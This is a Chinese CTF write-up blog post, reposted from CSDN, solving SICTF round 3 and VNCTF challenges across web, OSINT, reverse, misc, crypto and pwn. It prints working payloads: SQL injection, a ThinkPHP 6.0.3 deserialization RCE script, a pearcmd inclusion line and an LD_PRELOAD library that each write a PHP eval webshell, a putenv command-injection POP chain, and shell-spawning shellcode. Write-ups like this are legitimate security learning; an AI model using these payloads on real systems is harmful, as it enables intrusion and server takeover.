0


SICTF #round3 web+osint+rmc(较全--更新中)

SICTF wp记录

web

hacker

知道表名就无列名注入,过滤空格和and,or,没过滤union。

payload

NYG'/**/union/**/select/**/a/**/from/**/(select/**/1,2/**/as/**/a/**/union/**/select/**/*/**/from/**/flag)/**/as/**/q%23

Oyst3rPHP

1.MD5绕过网上搜索一下,我平时有收集直接拿来用

2.一个匹配是有THINKPHP开头退出,一个要开头603,相互矛盾,肯定有绕过,一开始一直找stripos的绕过没结果,看出strpos一直用php伪协议在绕,想了一晚上没熬夜睡觉了,后来转变思路起来想到preg有个prec绕过,就可以了。

3.下面一个提示细狗🐕函数,一直没搞懂什么意思,然后搜半天oyst3rphp框架也没搜到。后来把3改下为oyster,一翻译竟然是生蚝的英文,看了ctf比赛英语也不能拉下。这两个都没用,后来发现有的页面会报错,显示thinkphp6.0.3,再加上下面信息,结合最近都是dve题目就去搜相关利用poc,当然有很多不同的,我也试了好几个,有用链接放在下面可以了解一下啊。

import requests

data = {
    'key': 'THINKPHP'+'a' * 1000000+'603THINKPHP',
    'payload':'TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czoxMzoiACoAY29ubmVjdGlvbiI7czo1OiJteXNxbCI7czo5OiIAKgBzdWZmaXgiO086MTc6InRoaW5rXG1vZGVsXFBpdm90IjoxMTp7czoyMToiAHRoaW5rXE1vZGVsAGxhenlTYXZlIjtOO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO047czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtOO3M6MTM6IgAqAGNvbm5lY3Rpb24iO047czo5OiIAKgBzdWZmaXgiO047czoyMToiAHRoaW5rXE1vZGVsAHJlbGF0aW9uIjthOjE6e3M6ODoid2gxdDNwMWciO2E6MDp7fX1zOjEwOiIAKgB2aXNpYmxlIjthOjE6e3M6ODoid2gxdDNwMWciO2E6MDp7fX1zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo4OiJ3aDF0M3AxZyI7czo2OiJzeXN0ZW0iO31zOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjg6IndoMXQzcDFnIjtzOjIxOiJjYXQgL095c3QzMzMzMzMzci5waHAiO31zOjc6IgAqAHR5cGUiO047czoxMjoiACoAd2l0aEV2ZW50IjtOO31zOjIxOiIAdGhpbmtcTW9kZWwAcmVsYXRpb24iO047czoxMDoiACoAdmlzaWJsZSI7TjtzOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO047czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo4OiJ3aDF0M3AxZyI7YTowOnt9fXM6NzoiACoAdHlwZSI7TjtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDt9'
}
payload='left=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&right=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
res = requests.post('http://yuanshen.life:38213/?'+payload, data=data, allow_redirects=False)
print(res.text)

Thinkphp-6.0._-dev-反序列化漏洞 - Thinkphp/Thinkphp-反序列化漏洞

EZ_SSRF

看到第一眼以为是打redis,还是有点固定思维了。看到题目提示有其他文件扫一下发现admin文件,得用本地访问才可以看flag,那很明显一个本地文件读取题目

<?php
class client{
    public $url='http://127.0.0.1/admin.php';
    public $payload;
}
$a=new client();
echo serialize($a);
100%_upload

一个上传文件题目?no,以为是.htaccess文件组合绕过,发现无用,看看url

这么明显赶紧试一手目录穿越

http://yuanshen.life:38304/index.php?file=upload.php

发现常规读取没用,但说了就是这位置,尝试一下几个协议读取

我用file,php试了一下,发现读是可以的,但怎么是flag位置也没有用,只能换个思路

预期解一个是上传图片马然后文件包含,我这个应该是非预期没有关闭相关配置

想想有include函数就试试pear文件包含吧

php://filter/resource=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[1]);?>+/var/www/html/a.php

Not just unserialize

一道pop链构造+一个trick利用

链条构造简单但里面有个坑点(可能只坑到我了)

preg是匹配到返回1

第一个preg要求匹配worries,但可不分大小写问题所以直接WORRIES绕过,下面是要求不能匹配worries当然我们本来是大写就可以绕过,这里我一直以为是匹配到worries再要求worries不能匹配,头绕晕了,有点像上面0yste3r的思路了。

之后就是利用trick,我看到也不会,但就要考信息搜集了

我是如何利用环境变量注入执行任意命令-腾讯云开发者社区-腾讯云

脚本

<?php

class start
{
    public $welcome;
    public $you;
    public function __destruct()
    {
        $this->begin0fweb();
    }
    public  function begin0fweb()
    {
        $p='hacker!';
        $this->welcome->you = $p;
    }
}

class SE{
    public $year;
    public function __set($name, $value){
        echo '  Welcome to new year!  ';
        echo($this->year);
    }
}

class CR {
    public $last;
    public $newyear='worrieS--NYG';

    public function __tostring() {

        if (is_array($this->newyear)) {
            echo 'nonono';
            return false;
        }
        if (!preg_match('/worries/i',$this->newyear))
        {
            echo "empty it!";
            return 0;
        }
        if(preg_match('/^.*(worries).*$/',$this->newyear)) {
            echo 'Don\'t be worry1111';
        } else {
            echo 'Worries doesn\'t exists in the new year  ';
            empty($this->last->worries);
        }
        return false;
    }
}

class ET{

    public function __isset($name)
    {
        foreach ($_GET['get'] as $inject => $rce){
            putenv("{$inject}={$rce}");
        }
        system("echo \"Haven't you get the secret?\"");
    }
}

$a=new start();
$b=new SE();
$c=new CR();
$d=new ET();
$c->last=$d;
$b->year=$c;
$a->welcome=$b;
echo serialize($a);
?>

[进阶]elInjection

[进阶]CC_deserialization

。。稍后更新

forencis

真的签到

找到关键摩天轮,并且看起来像商城,搜一下国内这种综合商业体就几个,一一对比下找到

 SICTF{广东省_珠海市_斗门区_大信新都汇}
[签到]OSINT签到

国内用百度直接搜有信息的

海口红城湖公园
树木的压迫

用谷歌识图加谷歌地球

 SICTF{四川省_达州市_通川区_凤凰大道376号_达州市体育中心}
这才是签到

比例尺二十附近的都试一下,主要是目的地这个教堂离的有点远一开始没想到。

SICTF{意大利_威尼斯_GondolaDanieli_ChiesadiSanZaccaria}

签退

我下载下来的图片是蜘蛛网打码的,但有的人是没有码?我一直再看方向盘和车牌号无语了

 SICTF{南非_开普敦_StrandStr_STEERS}

reverse

[签到]Baby_C++
    就是一个提取对比,懒得找文件了,点击对比flag变量,里面以16进制存储提取就好了
Ez_pyc

原来这是数独题,第一次做我以为跟pwn一样是走迷宫,而且有网站可以解码

这题很离谱,编译出来下面MD5代码直接交就可以,只要四十几个人做出来我人傻了。

可以学习下CTFer成长之路--一道数独逆向题目解题过程(算法分析、查找线索) - 知乎

在线数独求解器

misc

问卷调查

一血了哈哈哈

[签到]签到

不用多说

GeekChallege

找出不同,这里一定要recvline,不然发送的接受全是0,不是按序的,一开始因为这个原因导致一直没写出来。

import requests
from pwn import *
io=remote('yuanshen.life',37965)
for i in range(32,1200):
    io.recvuntil(b'>')
    io.sendline(chr(i)*114)
    print(io.recvline())
    print(chr(i)*114)
io.interactive()

然后把有1的对应接受拿出来放进下面进行提取,这里我写的有点麻烦了,但python手法不行,c还有点基础就把能想到的先写了,能出flag就是好方法哈哈,注意的是每次的密码是动态的所以一定要一次发送验证。有人有好的python一体化脚本可以发一下给我学习谢谢。

#include <iostream>
#include <string>
#include <vector>

int main() {
    std::string str = "100001001001000100100101100000100000000000000000000001100010010100000000000100010001000010100001001001010000000001";

    std::vector<char> num(str.length());

    for (int i = 0; i < str.length(); i++) {
        if (str[i] == '1') {
            num[i] = '2';
        } else {
            num[i] = '0';
        }
    }
    str ="010100010000010010000000000001000000010110001000011000000000000000000000000000001000000000011010100000001000000100";
    for (int i = 0; i < str.length(); i++) {
        if (str[i] == '1') 
            num[i] = '>';
    }
     str ="000000000010000000000010000010000011000000000001100000000001000010100101101000000000000100000100000000000011001010";
     for (int i = 0; i < str.length(); i++) {
        if (str[i] == '1') 
            num[i] = 'I';
    }
     str ="000010100100000000000000010000011100000001100000000010011000000000001010010000100110111001000000010010100000110000";
     for (int i = 0; i < str.length(); i++) {
        if (str[i] == '1') 
            num[i] = 'd';
    }
     str ="001000000000101001011000001100000000101000010110000100000100101001010000000011000000000000000000000100000100000000";
     for (int i = 0; i < str.length(); i++) {
        if (str[i] == '1') 
            num[i] = '|';
    }
    for (int i = 0; i < str.length(); i++) {
        printf("%c",num[i]);
    }
    return 0;
}

这个取自SICTF Round#3 Writeup,编程网络技术爱好者中心-神域博客网

from pwn import *

ip = 'yuanshen.life'
port = 38268

conn = remote(ip, port)
import string

charset = string.printable
GeShi = b'>'

password = [''] * 114
proof = conn.recvuntil(GeShi).decode()
print(proof)

new_charset = ''

for i in range(114):
    for char in charset:
        guess = ''.join(password[:i]) + char + 'X'*(113-i) #采用一个一个爆破思想
        conn.sendline(guess)

        feedback = conn.recvline().decode().strip()

        if '1' == feedback[i+1]:                        ##对应返回位置是1说明成功
            print('',guess)
            print(feedback)
            if not char in new_charset:
                new_charset += char
                if len(new_charset) == 5:
                    charset = new_charset
            password[i] = char
            print(f"Found char at position {i}: {char}")
            break

guessed_password = ''.join(password)
print(f"Guessed Password: {guessed_password}")
conn.sendline(guessed_password.encode('ascii'))

feedback = conn.recvline().decode().strip()
print(feedback)
print(conn.recvline().decode())

conn.close()

感觉脚本还能精简就是一次传输114个数据同样的,把相同位置的就换成这个数据,这样速度会大幅度上升,因为如果数据很大单个爆破还是很慢,希望有师傅写出到时候学习一下。

找到了取自SICTF-MISC-CSDN博客

from pwn import *
from string import printable
from string import ascii_letters
from string import digits
able=ascii_letters+digits
conn = remote('yuanshen.life', 39484)
non_matching_strings = []
str1=['0']*114
str2=''
for char in printable:
    payload = char * 114
    conn.recvuntil(b'>')
    conn.sendline(payload.encode())
    response = conn.recvline().decode().strip()
    if response != "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000":
        for n in range(114):
            if response[n] == '1':
                str1[n]=char
        print(payload)
        print(response)
        non_matching_strings.append(char)
    if len(non_matching_strings) == 5:
        for j in str1:
            str2 += j
        print(str2)
        conn.sendline(str2.encode())
        response1 = conn.recvuntil(b'}').decode().strip()
        print(response1)
日志分析2

坑点就是第二个方法,我一直以为是盲注的两种布尔和时间,后面还试了二分查找都不是,有点坑啊。。

SICTF{10.11.35.95|暴力破解|sqlmap|1.2.4.18|蚁剑|2.1}
真💨签到

打开两个都是加密,看下010,发现尾部数据有多余部分用上好心的师傅给的新版随波逐流发现两个可以解密

文本加密为字母,可自设密码|文本在线加密解密工具

为什么这样我也不知道

解密一张图片一个wav,应该wav隐写看一下调节频率就可以看到

隐写密码就是givemeyourLAGRANGE,不知道为什么要搞大写。。。

SICTF{T3e_endless_Lagrange_is_really_fun!}
WHO?WHO?WHO

爆破成功密码

明显的宽字节隐写

Zero Width Lib

拿到解密数据看得出来像aes解密之类的

在线加密解密y

有结果看到{}

到随波逐流,然后一部分一部分解码就可以了,不能有_需要自己拼接

Crypto

[签到]Vigenere

开始就看到文件里面有{}包含的一段,肯定就是flag了,然后想着用字频爆破密钥,一直没用,后来发现直接就是文章越长越好爆,才想起来整段文章都是加密的,所以直接整个维吉尼亚爆破就可以了

pwn

[签到]stack

这里考察整数溢出,因为是8位的,所以不会大于255,输入比这大就可以了

找到后门函数只要我们能控制a1函数并包含givemeflag就可以执行shell了

这里我最开始的思路是利用存储第一个参数的pop_rdi来实现但发现ropgadget找不到。

有个关键函数strdup,会相当于申请一段动态内存,再顺便看下代码,间接控制了rdi

也就可以控制了rdi

再到调试里面看下什么用,跳到run函数里面再发现rax以及被我们控制了并输入/bin/sh,所以成功了

Bug_Zapper

分析函数就是只能写0x10长度以内的内容,那第一想法是有没有0x10长度以内的shellcode,搜索了一下最短也是20长度出头的,所以这里想到的通过可写内容写一段再调用sycall函数来进行无长度限制的输入。

看下他syscall的汇编,是无参数输入的,并且rax是你输入字节数+0x55,然后调用对应的函数,

我们的目的就是调用一个没参数的函数,需要用到系统调用表或者自己爆破下也可以

写出汇编代码

shellcode = '''
    mov edx, eax   //通用寄存器
    mov esi, eax   //存放目的地址
    add esi, 10    
    xor eax,eax;   //清空这样read函数调用号是0
    syscall;
'''

写的前面那部分主要是调用没参数的函数保证不出错继续执行,然后rsi控制目的地。

至于为什么是+10,看下图,发现rax存本身就是1919810(可执行片段区域),然后我们跳转后的地方就是得在原shellcode后门,当然你也可以后门发送pyaload用nop进行滑行。

看下内部

再次执行的时候可以写入无限制的shellcode了

给出完整脚本

from pwn import *
import string
context.arch = 'amd64'
io = process("./bugzapper")
#io = remote('yuanshen.life',39905)
io.recvuntil(b'you!\n')
shellcode = '''
    mov edx, eax
    mov esi, eax
    add esi, 9
    xor eax,eax;
    syscall;
'''
print(len(asm(shellcode)))
io.send(asm(shellcode))
io.send(b'\x90' * 0x2+ asm(shellcraft.sh()))
io.interactive()

总结:这里的esi加多少的数值是可以根据你后面的nop数来自己进行调节的,主要这题考察写汇编的基础和sycall函数的调用

VNCTF wp记录

web

givenphp

看到putenv的时候一开始想刚好在打的sictf的Not just unserialize,就在上面可以看看。

但发现有waf进行过滤了,就暂时取消这个打算,再往下看

定义了一个暂时目录,检测文件的后缀名,然后以后缀随机生成一个文件名,后缀不变

这里uniqid看一下知识点

PHP获取文件后缀名_uniqid() 后缀-CSDN博客

再把文件放到指定目录下面,那怎么利用写入的文件呢,这里用的是putenv的另一种方式trcik

看下

putenv结合load使用

关键payload

putenv("LD_PRELOAD=/tmp/evil.so");

关于so文件的编写

#include <stdio.h>
#include <stdlib.h>
int puts(const char *message)
{ 
    printf("hack you!!!");
    system("echo '<?php @eval($_POST[0]);?>' > /var/www/html/NYG.php");
    return 0; 
}
so文件编译

gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE

题目还要满足知道$func,这里做过安洵杯的what's my name那时候不会,大家可以去看一下。

create_function的匿名函数也是有名字的,名字是\x00lambda_%d,其中%d代表他是当前进程中的第几个匿名函数,所以直接拿脚本爆破即可(每发送一次就是+1),hackyou就是完成标志了

这样就成功了,再去看根目录是否写入了木马

成功了!!(复现一遍还是很激动)

misc

sqlshrak

常规套路提取

OnlyLocalSql

西湖论剑衍生版

剩下的明天继续写,到时候把SICTF剩下的wp再补上,还有准备起手回暖下pwn了,有点停滞不前了,持续更新中。。。。

标签: 网络安全

本文转载自: https://blog.csdn.net/NYG694/article/details/136149903
版权归原作者 N1_WEB 所有, 如有侵权,请联系我们删除。

“SICTF #round3 web+osint+rmc(较全--更新中)”的评论:

还没有评论